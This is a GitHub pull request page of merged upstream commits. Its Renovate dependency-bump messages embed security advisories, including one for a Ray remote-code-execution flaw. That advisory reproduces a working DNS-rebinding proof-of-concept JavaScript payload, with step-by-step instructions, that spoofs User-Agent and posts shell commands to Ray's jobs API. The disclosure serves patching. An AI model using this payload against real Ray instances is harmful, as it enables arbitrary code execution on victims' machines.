Skip to content

Conversation

@lukekim
Copy link

@lukekim lukekim commented Feb 5, 2026

No description provided.

renovate bot and others added 30 commits January 16, 2026 09:29
)

This PR contains the following updates:

| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
| [pip](https://redirect.github.com/pypa/pip)
([changelog](https://pip.pypa.io/en/stable/news/)) | `25.2` → `25.3` |
![age](https://developer.mend.io/api/mc/badges/age/pypi/pip/25.3?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/pypi/pip/25.2/25.3?slim=true)
|

### GitHub Vulnerability Alerts

#### [CVE-2025-8869](https://nvd.nist.gov/vuln/detail/CVE-2025-8869)

When extracting a tar archive pip may not check symbolic links point
into the extraction directory if the tarfile module doesn't implement
PEP 706. Note that upgrading pip to a "fixed" version for this
vulnerability doesn't fix all known vulnerabilities that are remediated
by using a Python version that implements PEP 706. Note that this is a
vulnerability in pip's fallback implementation of tar extraction for
Python versions that don't implement PEP 706 and therefore are not
secure to all vulnerabilities in the Python 'tarfile' module. If you're
using a Python version that implements PEP 706 then pip doesn't use the
"vulnerable" fallback code. Mitigations include upgrading to a version
of pip that includes the fix, upgrading to a Python version that
implements PEP 706 (Python >=3.9.17, >=3.10.12, >=3.11.4, or >=3.12),
applying the linked patch, or inspecting source distributions (sdists)
before installation as is already a best-practice.

---

### Release Notes

<details>
<summary>pypa/pip (pip)</summary>

### [`v25.3`](https://redirect.github.com/pypa/pip/compare/25.2...25.3)

[Compare
Source](https://redirect.github.com/pypa/pip/compare/25.2...25.3)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - "" (UTC), Automerge - At any time (no
schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/vortex-data/vortex).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0Mi43NC41IiwidXBkYXRlZEluVmVyIjoiNDIuNzQuNSIsInRhcmdldEJyYW5jaCI6ImRldmVsb3AiLCJsYWJlbHMiOlsiY2hvcmUiXX0=-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
Tidy and unify the Python quickstart examples, fixing imports and
variable names in the doctests.

Signed-off-by: cancaicai <2356672992@qq.com>
Signed-off-by: Adam Gutglick <adam@spiraldb.com>
Signed-off-by: Frederic Branczyk <fbranczyk@gmail.com>
This PR changes the launch kernel API in vortex-cuda to propagate the
pair of CUDA events returned from `cudarc::LaunchArgs:launch`.

When launching a kernel, CUDAs events are automatically submitted before and after. 
The events can be used to wait for a particular kernel to finish or to benchmark a CUDA kernel.

---------

Signed-off-by: Alexander Droste <alexander.droste@protonmail.com>
…5958)

A follow up is to remove the slice method from the `OperationsVTable`

---------

Signed-off-by: Joe Isaacs <joe.isaacs@live.co.uk>
Reverts vortex-data#5952. This sort of isn't currently supported
on codspeed

Signed-off-by: Adam Gutglick <adam@spiraldb.com>
…#5991)

> **Note:** This PR body was truncated due to platform limits.

This PR contains the following updates:

| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
| [ray](https://redirect.github.com/ray-project/ray) | `2.50.0` →
`2.52.0` |
![age](https://developer.mend.io/api/mc/badges/age/pypi/ray/2.52.0?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/pypi/ray/2.50.0/2.52.0?slim=true)
|

### GitHub Vulnerability Alerts

####
[CVE-2025-62593](https://redirect.github.com/ray-project/ray/security/advisories/GHSA-q279-jhrf-cc6v)

# Summary

Developers working with Ray as a development tool can be exploited via a
critical RCE vulnerability exploitable via Firefox and Safari.

Due to the longstanding
[decision](https://docs.ray.io/en/releases-2.51.1/ray-security/index.html)
by the Ray Development team to not implement any sort of authentication
on critical endpoints, like the `/api/jobs` & `/api/job_agent/jobs/` has
once again led to a severe vulnerability that allows attackers to
execute arbitrary code against Ray. This time in a development context
via the browsers Firefox and Safari.

This vulnerability is due to an insufficient guard against browser-based
attacks, as the current defense uses the `User-Agent` header starting
with the string "Mozilla" as a defense mechanism. This defense is
insufficient as the fetch specification allows the `User-Agent` header
to be modified.

Combined with a DNS rebinding attack against the browser, and this
vulnerability is exploitable against a developer running Ray who
inadvertently visits a malicious website, or is served a malicious
advertisement
([malvertising](https://en.wikipedia.org/wiki/Malvertising)).

# Details

The mitigations implemented to protect against browser based attacks
against local Ray nodes are insufficient.

## Current Mitigation Strategies

```python
def is_browser_request(req: Request) -> bool:
    """Checks if a request is made by a browser like user agent.

    This heuristic is very weak, but hard for a browser to bypass- eg,
    fetch/xhr and friends cannot alter the user-agent, but requests made with
    an http library can stumble into this if they choose to user a browser like
    user agent.
    """
    return req.headers["User-Agent"].startswith("Mozilla")

def deny_browser_requests() -> Callable:
    """Reject any requests that appear to be made by a browser"""

    def decorator_factory(f: Callable) -> Callable:
        @&#8203;functools.wraps(f)
        async def decorator(self, req: Request):
            if is_browser_request(req):
                return Response(
                    text="Browser requests not allowed",
                    status=aiohttp.web.HTTPMethodNotAllowed.status_code,
                )
            return await f(self, req)

        return decorator

    return decorator_factory
```


https://github.com/ray-project/ray/blob/f39a860436dca3ed5b9dfae84bd867ac10c84dc6/python/ray/dashboard/optional_utils.py#L129-L155

```python
    @&#8203;aiohttp.web.middleware
    async def browsers_no_post_put_middleware(self, request, handler):
        if (
            # A best effort test for browser traffic. All common browsers
            # start with Mozilla at the time of writing.
            dashboard_optional_utils.is_browser_request(request)
            and request.method in [hdrs.METH_POST, hdrs.METH_PUT]
        ):
            return aiohttp.web.Response(
                status=405, text="Method Not Allowed for browser traffic."
            )

        return await handler(request)
```

https://github.com/ray-project/ray/blob/e7889ae542bf0188610bc8b06d274cbf53790cbd/python/ray/dashboard/http_server_head.py#L184-L196

This is because the fundamental assumption that the `User-Agent` header
can't be manipulated is incorrect. In Firefox and in Safari, the `fetch`
API allows the `User-Agent` header to be set to a different value.
Chrome is not vulnerable, ironically, because of a
[bug](https://issues.chromium.org/issues/40450316), bringing it out of
spec with the `fetch` specification.

Exploiting this vulnerability requires a DNS rebinding attack against
the browser. Something trivially done by modern tooling like
[nccgroup/singularity](https://redirect.github.com/nccgroup/singularity).

# PoC

Please note, this full PoC will be going live at time of disclosure.

 1. Launch Ray `ray start --head --port=6379`
 2. Ensure that the ray dashboard/service is running on port `8265`
3. Launch an internet facing version of NCCGroup/Singularity following
the [setup guide
here](https://redirect.github.com/nccgroup/singularity/wiki/Setup-and-Installation).
4. Visit the in Firefox or Safari:
http://[my.singularity.instance]:8265/manager.html
 5. Under "Attack Payload" select: `Ray Jobs RCE (default port 8265)`
6. Click "Start Attack". If you see a 404 error in the iFrame window
that pops up, refresh the page and retry starting at step 3.
7. Once the DNS rebinding attack succeeds (you may need to try a few
times), an alert will appear, then the jobs API will be invoked, and the
embedded shell code will be executed, popping up the calculator.

If this attack doesn't work, consider clicking the "Toggle Advanced
Options" and trying an alternative "Rebinding Strategy". I've personally
been able to get this attack to work multiple times on MacOS on multiple
different residential networks around the Seattle area. Some corporate
networks _may_ block DNS rebinding attacks, but likely not many.

## What's going on?

This is the payload running in
[nccgroup/singularity](https://redirect.github.com/nccgroup/singularity):

```javascript
/**
 * This payload exploits Ray (https://github.com/ray-project/ray)
 * It opens the "Calculator" application on various operating systems.
 * The payload can be easily modified to target different OSes or implementations.
 * The TCP port attacked is 8265.
 */

const RayRce = () => {

    // Invoked after DNS rebinding has been performed
    function attack(headers, cookie, body) {
        // Get the current timestamp in milliseconds
        const timestamp = Date.now();
        
        // OS-agnostic calculator command that tries multiple approaches
        const calculatorCommand = `
            # Try Windows calculator first
            if command -v calc.exe >/dev/null 2>&1; then
                echo Windows calculator launching
                calc.exe &
            # Try macOS calculator
            elif command -v open >/dev/null 2>&1; then
                echo macOS calculator launching
                open -a Calculator &
            elif [ -f "/System/Applications/Calculator.app/Contents/MacOS/Calculator" ]; then
                echo macOS calculator launching
                /System/Applications/Calculator.app/Contents/MacOS/Calculator &
            # Try Linux calculators
            elif command -v gnome-calculator >/dev/null 2>&1; then
                echo Linux calculator launching
                gnome-calculator &
            elif command -v kcalc >/dev/null 2>&1; then
                echo Linux calculator launching
                kcalc &
            elif command -v xcalc >/dev/null 2>&1; then
                echo Linux calculator launching
                xcalc &
            # Fallback: try to find any calculator binary
            else
                echo Linux calculator launching
                find /usr/bin /usr/local/bin /opt -name "*calc*" -type f -executable 2>/dev/null | head -1 | xargs -I {} {} &
            fi
            echo RAY RCE: By JLLeitschuh ${timestamp}
        `;
        
        const data = {
            "entrypoint": calculatorCommand,
            "runtime_env": {},
            "job_id": null,
            "metadata": {
                "job_submission_id": timestamp.toString(),
                "source": "nccgroup/singluarity"
            }
        };
        
        sooFetch('/api/jobs/', {
            method: 'POST',
            headers: {
                'User-Agent': 'Other',
            },
            body: JSON.stringify(data),
        })
        .then(response => {
            console.log(response);
            return response.json()
        }) // parses JSON response into native JavaScript objects
        .then(data => {
            console.log('Success:', data);
        })
        .catch((error) => {
            console.error('Error:', error);
        });
    }
    
    // Invoked to determine whether the rebinded service
    // is the one targeted by this payload. Must return true or false.
    async function isService(headers, cookie, body) {
        return sooFetch("/",{
            mode: 'no-cors',
            credentials: 'omit',
        })
        .then(function (response) {
            return response.text()
        })
        .then(function (d) {
            if (d.includes("You need to enable JavaScript")) {
                return true;
            } else {
                return false;
            }
        })
        .catch(e => { return (false); })
    }

    return {
        attack,
        isService
    }
}

Registry["Ray Jobs RCE"] = RayRce();
```

See:
[https://github.com/nccgroup/singularity/pull/68](https://redirect.github.com/nccgroup/singularity/pull/68)
 

# Impact
 
This vulnerability impacts developers running development/testing
environments with Ray. If they fall victim to a phishing attack, or are
served a malicious ad, they can be exploited and arbitrary shell code
can be executed on their developer machine.

This attack can also be leveraged to attack network-adjacent instance of
ray by leveraging the browser as a confused deputy intermediary to
attack ray instances running inside a private corporate network.

# Fix

The fix for this vulnerability is to update to Ray 2.52.0 or higher.
This version also, finally, adds a disabled-by-default authentication
feature that can further harden against this vulnerability:
https://docs.ray.io/en/latest/ray-security/token-auth.html

Fix commit:
https://github.com/ray-project/ray/commit/70e7c72780bdec075dba6cad1afe0832772bfe09

Several browsers have, after knowing about the attack for 19 years,
recently begun hardening against DNS rebinding. ([Chrome Local Network
Access](https://developer.chrome.com/blog/local-network-access)). These
changes _may_ protect you, but a previous initiative, "private network
access" was rolled back. So updating is highly recommended as a
defense-in-depth strategy.

# Credit

The fetch bypass was originally theorized by @&#8203;avilum at
[Oligo](https://www.oligo.security/). The DNS rebinding step, full POC,
and disclosure was by @&#8203;JLLeitschuh while at
[Socket](https://socket.dev/).

---

### Release Notes

<details>
<summary>ray-project/ray (ray)</summary>

###
[`v2.52.0`](https://redirect.github.com/ray-project/ray/releases/tag/ray-2.52.0)

[Compare
Source](https://redirect.github.com/ray-project/ray/compare/ray-2.51.2...ray-2.52.0)

##### Release Highlights

**Ray Core:**

- End of Life for Python 3.9 Support: Ray will no longer be releasing
Python 3.9 wheels from now on.
- Token authentication: Ray now supports built-in token authentication
across all components including the dashboard, CLI, API clients, and
internal services. This provides an additional layer of security for
production deployments to reduce the risk of unauthorized code
execution. Token authentication is initially off by default. For more
information, see:
<https://docs.ray.io/en/latest/ray-security/token-auth.html>

**Ray Data:**

- We’ve added a number of improvements for Iceberg, including upserts,
predicate and projection pushdown, and overwrite.
- We’ve added significant improvements to our expressions framework,
including temporal, list, tensor, and struct datatype expressions.

##### Ray Libraries

##### Ray Data

🎉 New Features:

- Added predicate pushdown rule that pushes filter predicates past
eligible operators
([#&#8203;58150](https://redirect.github.com/ray-project/ray/pull/58150),[
#&#8203;58555](https://redirect.github.com/ray-project/ray/pull/58555))
- Iceberg support for upsert tables, schema updates, and overwrite
operations
([#&#8203;58270](https://redirect.github.com/ray-project/ray/pull/58270))
- Iceberg support for predicate and projection pushdown
([#&#8203;58286](https://redirect.github.com/ray-project/ray/pull/58286))
- Iceberg write datafiles in write() then commit
([#&#8203;58601](https://redirect.github.com/ray-project/ray/pull/58601))
- Enhanced Unity Catalog integration
([#&#8203;57954](https://redirect.github.com/ray-project/ray/pull/57954))
- Namespaced expressions that expose PyArrow functions
([#&#8203;58465](https://redirect.github.com/ray-project/ray/pull/58465))
- Added version argument to read\_delta\_lake
([#&#8203;54976](https://redirect.github.com/ray-project/ray/pull/54976))
- Generator UDF support for map\_groups
([#&#8203;58039](https://redirect.github.com/ray-project/ray/pull/58039))
- ApproximateTopK aggregator
([#&#8203;57950](https://redirect.github.com/ray-project/ray/pull/57950))
- Serialization framework for preprocessors
([#&#8203;58321](https://redirect.github.com/ray-project/ray/pull/58321))
- Support for temporal, list, tensor, and struct datatypes
([#&#8203;58225](https://redirect.github.com/ray-project/ray/pull/58225))

💫 Enhancements:

- Use approximate quantile for RobustScaler preprocessor
([#&#8203;58371](https://redirect.github.com/ray-project/ray/pull/58371))
- Map batches support for limit pushdown
([#&#8203;57880](https://redirect.github.com/ray-project/ray/pull/57880))
- Make all map operations zero-copy by default
([#&#8203;58285](https://redirect.github.com/ray-project/ray/pull/58285))
- Use tqdm\_ray for progress reporting from workers
([#&#8203;58277](https://redirect.github.com/ray-project/ray/pull/58277))
- Improved concurrency cap backpressure tuning
([#&#8203;58163](https://redirect.github.com/ray-project/ray/pull/58163),[
#&#8203;58023](https://redirect.github.com/ray-project/ray/pull/58023),[
#&#8203;57996](https://redirect.github.com/ray-project/ray/pull/57996))
- Sample finalized partitions randomly to avoid lens effect
([#&#8203;58456](https://redirect.github.com/ray-project/ray/pull/58456))
- Allow file extensions starting with '.'
([#&#8203;58339](https://redirect.github.com/ray-project/ray/pull/58339))
- Set default file\_extensions for read\_parquet
([#&#8203;56481](https://redirect.github.com/ray-project/ray/pull/56481))
- URL decode values in parse\_hive\_path
([#&#8203;57625](https://redirect.github.com/ray-project/ray/pull/57625))
- Streaming partition enforces row\_num per block
([#&#8203;57984](https://redirect.github.com/ray-project/ray/pull/57984))
- Streaming repartition combines small blocks
([#&#8203;58020](https://redirect.github.com/ray-project/ray/pull/58020))
- Lower
DEFAULT\_ACTOR\_MAX\_TASKS\_IN\_FLIGHT\_TO\_MAX\_CONCURRENCY\_FACTOR to
2
([#&#8203;58262](https://redirect.github.com/ray-project/ray/pull/58262))
- Set udf-modifying-row-count default to false
([#&#8203;58264](https://redirect.github.com/ray-project/ray/pull/58264))
- Cache PyArrow schema operations
([#&#8203;58583](https://redirect.github.com/ray-project/ray/pull/58583))
- Explain optimized plans
([#&#8203;58074](https://redirect.github.com/ray-project/ray/pull/58074))
- Ranker interface
([#&#8203;58513](https://redirect.github.com/ray-project/ray/pull/58513))

🔨 Fixes:

- Fixed renamed columns to be appropriately dropped from output
([#&#8203;58040](https://redirect.github.com/ray-project/ray/pull/58040),[
#&#8203;58071](https://redirect.github.com/ray-project/ray/pull/58071))
- Fixed handling of renames in projection pushdown
([#&#8203;58033](https://redirect.github.com/ray-project/ray/pull/58033),[
#&#8203;58037](https://redirect.github.com/ray-project/ray/pull/58037))
- Fixed broken LogicalOperator abstraction barrier in predicate pushdown
rule
([#&#8203;58683](https://redirect.github.com/ray-project/ray/pull/58683))
- Fixed file size ordering in download partitioning with multiple URI
columns
([#&#8203;58517](https://redirect.github.com/ray-project/ray/pull/58517))
- Fixed HTTP streaming file download by using open\_input\_stream
([#&#8203;58542](https://redirect.github.com/ray-project/ray/pull/58542))
- Fixed expression mapping for Pandas
([#&#8203;57868](https://redirect.github.com/ray-project/ray/pull/57868))
- Fixed reading from zipped JSON
([#&#8203;58214](https://redirect.github.com/ray-project/ray/pull/58214))
- Fixed MCAP datasource import for better compatibility
([#&#8203;57964](https://redirect.github.com/ray-project/ray/pull/57964))
- Avoid slicing block when total\_pending\_rows < target
([#&#8203;58699](https://redirect.github.com/ray-project/ray/pull/58699))
- Clear queue for manually marked execution\_finished operators
([#&#8203;58441](https://redirect.github.com/ray-project/ray/pull/58441))
- Add exception handling for invalid URIs in download operation
([#&#8203;58464](https://redirect.github.com/ray-project/ray/pull/58464))
- Fixed progress bar name display
([#&#8203;58451](https://redirect.github.com/ray-project/ray/pull/58451))

📖 Documentation:

- Documentation for Ray Data metrics
([#&#8203;58610](https://redirect.github.com/ray-project/ray/pull/58610))
- Simplify and add Ray Data LLM quickstart example
([#&#8203;58330](https://redirect.github.com/ray-project/ray/pull/58330))
- Convert rST-style to Google-style docstrings
([#&#8203;58523](https://redirect.github.com/ray-project/ray/pull/58523))

🏗 Architecture:

- Removed stats update thread
([#&#8203;57971](https://redirect.github.com/ray-project/ray/pull/57971))
- Refactor histogram metrics
([#&#8203;57851](https://redirect.github.com/ray-project/ray/pull/57851))
- Revisit OpResourceAllocator to make data flow explicit
([#&#8203;57788](https://redirect.github.com/ray-project/ray/pull/57788))
- Create unit test directory for fast, isolated tests
([#&#8203;58445](https://redirect.github.com/ray-project/ray/pull/58445))
- Dump verbose ResourceManager telemetry into ray-data.log
([#&#8203;58261](https://redirect.github.com/ray-project/ray/pull/58261))

##### Ray Train

🎉 New Features:

- Result::from\_path implementation in v2
([#&#8203;58216](https://redirect.github.com/ray-project/ray/pull/58216))

💫 Enhancements:

- Exit actor and log appropriately when poll\_workers is in terminal
state
([#&#8203;58287](https://redirect.github.com/ray-project/ray/pull/58287))
- Set JAX\_PLATFORMS environment variable based on ScalingConfig
([#&#8203;57783](https://redirect.github.com/ray-project/ray/pull/57783))
- Default to disabling Ray Train collective util timeouts
([#&#8203;58229](https://redirect.github.com/ray-project/ray/pull/58229))
- Add SHUTTING\_DOWN TrainControllerState and improve logging
([#&#8203;57882](https://redirect.github.com/ray-project/ray/pull/57882))
- Improved error message when calling training function utils outside
Ray Train worker
([#&#8203;57863](https://redirect.github.com/ray-project/ray/pull/57863))
- FSDP2 template: Resume from previous epoch when checkpointing
([#&#8203;57938](https://redirect.github.com/ray-project/ray/pull/57938))
- Clean up checkpoint config and trainer param deprecations
([#&#8203;58022](https://redirect.github.com/ray-project/ray/pull/58022))
- Update failure policy log message
([#&#8203;58274](https://redirect.github.com/ray-project/ray/pull/58274))

📖 Documentation:

- Ray Train Metrics documentation page
([#&#8203;58235](https://redirect.github.com/ray-project/ray/pull/58235))
- Local mode user guide
([#&#8203;57751](https://redirect.github.com/ray-project/ray/pull/57751))
- Recommend tree\_learner="data\_parallel" in examples for distributed
LightGBM training
([#&#8203;58709](https://redirect.github.com/ray-project/ray/pull/58709))

##### Ray Serve

##### 🎉 New Features:

- **Custom request routing with runtime environment support.** Users can
now define custom request router classes that are safely imported and
serialized using the application's runtime environment, enabling
advanced routing logic with custom dependencies.
([#&#8203;56855](https://redirect.github.com/ray-project/ray/issues/56855))
- **Custom autoscaling policies with enhanced logging.**
Deployment-level and application-level autoscaling policies now display
their custom policy names in logs, making it easier to debug and monitor
autoscaling behavior.
([#&#8203;57878](https://redirect.github.com/ray-project/ray/issues/57878))
- **Audio transcription support in vLLM backend.** Ray Serve now
supports transcription tasks through the vLLM engine, expanding
multimodal capabilities.
([#&#8203;57194](https://redirect.github.com/ray-project/ray/issues/57194))
- **Data parallel attention public API.** Introduced a public API for
data parallel attention, enabling efficient distributed attention
mechanisms for large-scale inference workloads.
([#&#8203;58301](https://redirect.github.com/ray-project/ray/issues/58301))
- **Route pattern tracking in proxy metrics.** Proxy metrics now expose
actual route patterns (e.g., `/api/users/{user_id}`) instead of just
route prefixes, enabling granular endpoint monitoring without high
cardinality issues. Performance impact is minimal (\~1% RPS decrease).
([#&#8203;58180](https://redirect.github.com/ray-project/ray/issues/58180))
- **Replica dependency graph construction.** Added
`list_outbound_deployments()` method to discover downstream deployment
dependencies, enabling programmatic analysis of service topology for
both stored and dynamically-obtained handles.
([#&#8203;58345](https://redirect.github.com/ray-project/ray/issues/58345),
[#&#8203;58350](https://redirect.github.com/ray-project/ray/issues/58350))
- **Multi-dimensional replica ranking.** Introduced `ReplicaRank` schema
with global, node-level, and local ranks to support advanced
coordination scenarios like tensor parallelism and model sharding across
nodes.
([#&#8203;58471](https://redirect.github.com/ray-project/ray/issues/58471),
[#&#8203;58473](https://redirect.github.com/ray-project/ray/issues/58473))
- **Proxy readiness verification.** Added a check to ensure proxies are
ready to serve traffic before `serve.run()` completes, improving
deployment reliability.
([#&#8203;57723](https://redirect.github.com/ray-project/ray/issues/57723))
- **IPv6 socket support.** Ray Serve now supports IPv6 networking for
socket communication.
([#&#8203;56147](https://redirect.github.com/ray-project/ray/issues/56147))

##### 💫 Enhancements:

- **Selective throughput optimization flag overrides.** Users can now
override individual flags set by `RAY_SERVE_THROUGHPUT_OPTIMIZED`
without manually configuring all flags, improving flexibility for
performance tuning.
([#&#8203;58057](https://redirect.github.com/ray-project/ray/issues/58057))
- **OpenTelemetry metrics enabled by default.** Ray now uses
OpenTelemetry as the default metrics backend, with updated metric names
(`ray_serve_*`) and improved observability infrastructure.
([#&#8203;56432](https://redirect.github.com/ray-project/ray/issues/56432))
- **Cleaner long-poll communication.** Removed actor handles from
`RunningReplicaInfo` objects passed in long-poll updates, avoiding
complex reference counting patterns.
([#&#8203;58174](https://redirect.github.com/ray-project/ray/issues/58174))
- **Improved replica config handling.** Excluded
`IMPLICIT_RESOURCE_PREFIX` from `ReplicaConfig.ray_actor_options` to
prevent internal resource annotations from leaking into user-visible
configurations.
([#&#8203;58275](https://redirect.github.com/ray-project/ray/issues/58275))
- **Custom autoscaling telemetry.** Added telemetry tracking for custom
autoscaling policy usage.
([#&#8203;58336](https://redirect.github.com/ray-project/ray/issues/58336))
- **Proxy target group control.** Added `from_proxy_manager` argument to
`get_target_groups()` for finer control over returned routing targets.
([#&#8203;57620](https://redirect.github.com/ray-project/ray/issues/57620))

##### 🔨 Fixes:

- **Fixed default deployment name in async inference.** Corrected the
default deployment name which was changed to `_TaskConsumerWrapper`
during async inference implementation.
([#&#8203;57664](https://redirect.github.com/ray-project/ray/issues/57664))
- **Fixed proxy location handling in CLI and Python API.** `serve run`
now respects `proxy_location` from config files instead of hardcoding
`EveryNode`, and `serve.start()` no longer defaults to `HeadOnly` when
`http_options` are provided without an explicit location.
([#&#8203;57622](https://redirect.github.com/ray-project/ray/issues/57622))
- **Fixed deprecated Stable Diffusion model in example.** Updated
documentation example to use a current model after
`stabilityai/stable-diffusion-2` was deprecated on Hugging Face.
([#&#8203;58609](https://redirect.github.com/ray-project/ray/issues/58609))

##### 📖 Documentation:

- **KV-cache offloading user guide.** Added comprehensive documentation
for KV-cache offloading in LLM deployments.
([#&#8203;58025](https://redirect.github.com/ray-project/ray/issues/58025))
- **Model loading documentation.** Documented best practices and options
for loading models in Ray Serve.
([#&#8203;57922](https://redirect.github.com/ray-project/ray/issues/57922))
- **Cross-node tensor/pipeline parallelism examples.** Added examples
and documentation for running TP/PP across multiple nodes.
([#&#8203;57715](https://redirect.github.com/ray-project/ray/issues/57715))
- **Data parallel attention documentation.** Created user guide for data
parallel attention with architecture diagrams.
([#&#8203;58301](https://redirect.github.com/ray-project/ray/issues/58301),
[#&#8203;58543](https://redirect.github.com/ray-project/ray/issues/58543))
- **Custom autoscaling policy examples.** Added missing imports and
improved clarity in autoscaling policy examples.
([#&#8203;57896](https://redirect.github.com/ray-project/ray/issues/57896),
[#&#8203;58170](https://redirect.github.com/ray-project/ray/issues/58170))
- **Async inference documentation improvements.** Added notes about task
consumer replica configurations and fixed the end-to-end example.
([#&#8203;58493](https://redirect.github.com/ray-project/ray/issues/58493))
- **Callback documentation.** Added documentation for using callbacks in
Ray Serve.
([#&#8203;58713](https://redirect.github.com/ray-project/ray/issues/58713))
- **Monitoring and troubleshooting improvements.** Enhanced monitoring
section with links to Anyscale troubleshooting resources.
([#&#8203;58472](https://redirect.github.com/ray-project/ray/issues/58472))
- **Minor documentation fixes.** Fixed spelling errors and improved
docstring alignment.
([#&#8203;58172](https://redirect.github.com/ray-project/ray/issues/58172),
[#&#8203;58233](https://redirect.github.com/ray-project/ray/issues/58233))

##### 🏗 Architecture refactoring:

- **Replica rank management refactoring.** Extracted generic
`RankManager` class with type-safe `ReplicaRank` representation,
creating a cleaner foundation for future multi-level rank support.
([#&#8203;58471](https://redirect.github.com/ray-project/ray/issues/58471),
[#&#8203;58473](https://redirect.github.com/ray-project/ray/issues/58473))

##### Ray Tune

💫 Enhancements:

- Updated jobs test to use tune module
([#&#8203;57995](https://redirect.github.com/ray-project/ray/pull/57995))
- Add pydantic to Ray Tune requirements
([#&#8203;58354](https://redirect.github.com/ray-project/ray/pull/58354))

##### RLlib

🎉 New Features:

- Support for vectorize modes in SingleAgentEnvRunner.make\_env
([#&#8203;58410](https://redirect.github.com/ray-project/ray/pull/58410))
- Support for composed spaces in Offline RL
([#&#8203;58594](https://redirect.github.com/ray-project/ray/pull/58594))
- Enhanced support for complex observations in SingleAgentEpisode
([#&#8203;57017](https://redirect.github.com/ray-project/ray/pull/57017))
- Prometheus metrics support for selected components
([#&#8203;57932](https://redirect.github.com/ray-project/ray/pull/57932))

💫 Enhancements:

- Improve test\_single\_agent\_env\_runner to prevent flaky tests
([#&#8203;58397](https://redirect.github.com/ray-project/ray/pull/58397))
- LINT improvements with enabled ruff imports across multiple modules
([#&#8203;56737](https://redirect.github.com/ray-project/ray/pull/56737),[
#&#8203;56734](https://redirect.github.com/ray-project/ray/pull/56734),[
#&#8203;56741](https://redirect.github.com/ray-project/ray/pull/56741),[
#&#8203;56742](https://redirect.github.com/ray-project/ray/pull/56742),[
#&#8203;56744](https://redirect.github.com/ray-project/ray/pull/56744),[
#&#8203;56746](https://redirect.github.com/ray-project/ray/pull/56746))

🔨 Fixes:

- Resolve bug that fails to propagate model\_config to
MultiAgentRLModule instances
([#&#8203;58243](https://redirect.github.com/ray-project/ray/pull/58243))
- Fixed access to self.\_minibatch\_size
([#&#8203;58595](https://redirect.github.com/ray-project/ray/pull/58595))
- Broken restore from remote - Add missing FileSystem argument
([#&#8203;58324](https://redirect.github.com/ray-project/ray/pull/58324))
- Fixed deterministic sampling and training documentation link
([#&#8203;58494](https://redirect.github.com/ray-project/ray/pull/58494))
- Corrected typo in pyspiel import error message
([#&#8203;54618](https://redirect.github.com/ray-project/ray/pull/54618))

📖 Documentation:

- Add reinforcement learning example illustrating GPU-to-GPU RDT and
GRPO
([#&#8203;57961](https://redirect.github.com/ray-project/ray/pull/57961))

##### Ray Core

🎉 New Features:

- Token-based authentication across all Ray components
([#&#8203;58046](https://redirect.github.com/ray-project/ray/pull/58046),
[#&#8203;58047](https://redirect.github.com/ray-project/ray/pull/58047),
[#&#8203;58176](https://redirect.github.com/ray-project/ray/pull/58176),[
#&#8203;58209](https://redirect.github.com/ray-project/ray/pull/58209),
[#&#8203;58276](https://redirect.github.com/ray-project/ray/pull/58276),[
#&#8203;58281](https://redirect.github.com/ray-project/ray/pull/58281),
[#&#8203;58308](https://redirect.github.com/ray-project/ray/pull/58308),[
#&#8203;58333](https://redirect.github.com/ray-project/ray/pull/58333),
[#&#8203;58368](https://redirect.github.com/ray-project/ray/pull/58368),[
#&#8203;58395](https://redirect.github.com/ray-project/ray/pull/58395),
[#&#8203;58405](https://redirect.github.com/ray-project/ray/pull/58405),[
#&#8203;58408](https://redirect.github.com/ray-project/ray/pull/58408),
[#&#8203;58424](https://redirect.github.com/ray-project/ray/pull/58424),[
#&#8203;58557](https://redirect.github.com/ray-project/ray/pull/58557),
[#&#8203;57835](https://redirect.github.com/ray-project/ray/pull/57835),
[#&#8203;58566](https://redirect.github.com/ray-project/ray/pull/58566),
[#&#8203;58591](https://redirect.github.com/ray-project/ray/pull/58591))
- OpenTelemetry enabled by default for improved observability
([#&#8203;56432](https://redirect.github.com/ray-project/ray/pull/56432))
- Fallback strategy scheduling logic
([#&#8203;56369](https://redirect.github.com/ray-project/ray/pull/56369))
- TPU utility functions to support slice placement groups
([#&#8203;56723](https://redirect.github.com/ray-project/ray/pull/56723))
- Exponential backoff for retryable gRPCs
([#&#8203;56568](https://redirect.github.com/ray-project/ray/pull/56568))
- Option for in-flight RPC failure injection
([#&#8203;58512](https://redirect.github.com/ray-project/ray/pull/58512))
- Release test to simulate network transient errors via iptables
([#&#8203;58241](https://redirect.github.com/ray-project/ray/pull/58241))
- Nightly release test with cross-AZ fault injection
([#&#8203;57579](https://redirect.github.com/ray-project/ray/pull/57579))
- Owned object spill metrics
([#&#8203;57870](https://redirect.github.com/ray-project/ray/pull/57870))
- Monitoring in raylet for resource view
([#&#8203;58382](https://redirect.github.com/ray-project/ray/pull/58382))
- IPv6 support for sockets
([#&#8203;56147](https://redirect.github.com/ray-project/ray/pull/56147))

💫 Enhancements:

- Fault-tolerant RPCs: KillActor, CancelRemoteTask, NotifyGCSRestart,
and ReleaseUnusedBundles
([#&#8203;57648](https://redirect.github.com/ray-project/ray/pull/57648),[
#&#8203;57945](https://redirect.github.com/ray-project/ray/pull/57945),[
#&#8203;57965](https://redirect.github.com/ray-project/ray/pull/57965))
- Use graceful actor shutdown when GCS polling detects actor ref deleted
([#&#8203;58605](https://redirect.github.com/ray-project/ray/pull/58605))
- Use graceful shutdown path when actor OUT\_OF\_SCOPE (del actor)
([#&#8203;57090](https://redirect.github.com/ray-project/ray/pull/57090))
- Improved actor kill logs
([#&#8203;58544](https://redirect.github.com/ray-project/ray/pull/58544))
- Scheduling detached actor with placement group not recommended
([#&#8203;57726](https://redirect.github.com/ray-project/ray/pull/57726))
- Better handling of detached actor restarts
